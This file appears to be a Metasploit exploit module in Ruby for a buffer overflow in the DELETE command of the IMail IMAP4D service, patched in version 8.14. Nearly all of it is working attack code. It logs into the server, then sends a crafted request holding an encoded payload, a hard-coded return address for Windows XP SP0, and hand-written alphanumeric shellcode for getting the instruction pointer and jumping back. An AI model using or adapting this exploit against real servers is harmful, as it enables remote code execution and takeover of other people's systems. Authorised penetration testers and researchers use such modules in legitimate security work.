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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Imap
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'IMail IMAP4D Delete Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in the 'DELETE'
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        command of the IMail IMAP4D service. This vulnerability
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        can only be exploited with a valid username and password.
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        This flaw was patched in version 8.14.
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      },
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      'Author'         => [ 'spoonm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2004-1520'],
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          [ 'OSVDB', '11838'],
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          [ 'BID', '11675'],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC'  => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 614,
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          'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
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          'StackAdjustment' => -3500,
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          'EncoderOptions' =>
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            {
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              'BufferRegister' => 'EDX',
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            }
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          # alphanum rets :(, will look more into it later
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          ['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }],
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        ],
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      'DisclosureDate' => '2004-11-12',
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      'DefaultTarget' => 0))
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  end
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  def exploit
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    connect_login
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    print_status("Sending overflow string...")
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    req = 'A683 DELETE '
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    req << payload.encoded
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    # Jump over code
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    req << "\x74\x32\x75\x30"
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    req << [target.ret].pack('V')
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    req << rand_text_alphanumeric(44)
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    # GetEIP code
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    req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"
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    req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"
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    # Alphanumeric jmp back (edx context)
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    req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"
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    req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"
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    req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"
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    req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"
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    # Run off the stack, so we don't kill our payload, or something...
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    req << rand_text_alphanumeric(600)
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    # Terminate the request
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    req << "\r\n"
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    sock.put(req)
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    handler
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    disconnect
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  end
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end
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